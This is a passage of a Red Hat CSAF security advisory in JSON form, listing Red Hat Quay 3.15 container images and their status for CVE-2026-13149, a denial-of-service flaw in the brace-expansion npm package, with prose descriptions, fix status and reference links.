                  "name": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
                  "product_id": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-container-security-operator-rhel8@sha256%3A071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51?arch=s390x\u0026repository_url=registry.redhat.io/quay/quay-container-security-operator-rhel8\u0026tag=1785176954"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
                "product": {
                  "name": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
                  "product_id": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-bridge-operator-rhel8@sha256%3Af2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce?arch=s390x\u0026repository_url=registry.redhat.io/quay/quay-bridge-operator-rhel8\u0026tag=1785177338"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
                "product": {
                  "name": "registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
                  "product_id": "registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-builder-rhel8@sha256%3A981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3?arch=s390x\u0026repository_url=registry.redhat.io/quay/quay-builder-rhel8\u0026tag=1785180550"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
                "product": {
                  "name": "registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
                  "product_id": "registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/clair-rhel8@sha256%3Aa2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857?arch=s390x\u0026repository_url=registry.redhat.io/quay/clair-rhel8\u0026tag=1785177181"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
                "product": {
                  "name": "registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
                  "product_id": "registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-operator-rhel8@sha256%3A8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e?arch=s390x\u0026repository_url=registry.redhat.io/quay/quay-operator-rhel8\u0026tag=1785177009"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x",
                "product": {
                  "name": "registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x",
                  "product_id": "registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/quay-rhel8@sha256%3Abdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6?arch=s390x\u0026repository_url=registry.redhat.io/quay/quay-rhel8\u0026tag=1785261506"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "s390x"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le"
        },
        "product_reference": "registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x"
        },
        "product_reference": "registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64 as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64"
        },
        "product_reference": "registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64 as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64"
        },
        "product_reference": "registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le"
        },
        "product_reference": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64 as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64"
        },
        "product_reference": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x"
        },
        "product_reference": "registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64 as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64"
        },
        "product_reference": "registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64 as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64"
        },
        "product_reference": "registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le"
        },
        "product_reference": "registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x"
        },
        "product_reference": "registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64 as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64"
        },
        "product_reference": "registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x"
        },
        "product_reference": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le"
        },
        "product_reference": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64 as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64"
        },
        "product_reference": "registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64 as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64"
        },
        "product_reference": "registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le"
        },
        "product_reference": "registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x"
        },
        "product_reference": "registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64 as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        },
        "product_reference": "registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64 as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64"
        },
        "product_reference": "registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le"
        },
        "product_reference": "registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x as a component of Red Hat Quay 3.15",
          "product_id": "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        },
        "product_reference": "registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x",
        "relates_to_product_reference": "Red Hat Quay 3.15"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-13149",
      "cwe": {
        "id": "CWE-1333",
        "name": "Inefficient Regular Expression Complexity"
      },
      "discovery_date": "2026-06-30T10:00:59.843854+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2494813"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in brace-expansion. An attacker can exploit a vulnerability in the `expand()` function by providing a specially crafted string. This string, containing consecutive non-expanding brace groups, can trigger exponential-time complexity, leading to significant CPU consumption and event-loop blocking. This can result in a Denial of Service (DoS) for the affected system.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "A flaw was found in brace-expansion, a widely-used npm package for expanding brace sequences. The expand() function exhibits exponential-time complexity when processing consecutive non-expanding brace groups. An attacker who can supply crafted input to expand(), directly or transitively via minimatch or glob, can cause significant CPU consumption and event-loop blocking, resulting in denial of service. The max option does not mitigate this issue, as it bounds the output size rather than the recursion work.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-13149"
        },
        {
          "category": "external",
          "summary": "RHBZ#2494813",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2494813"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-13149",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13149"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-13149",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13149"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
          "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754"
        },
        {
          "category": "external",
          "summary": "https://www.npmjs.com/package/brace-expansion",
          "url": "https://www.npmjs.com/package/brace-expansion"
        }
      ],
      "release_date": "2026-06-30T08:30:34.502000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
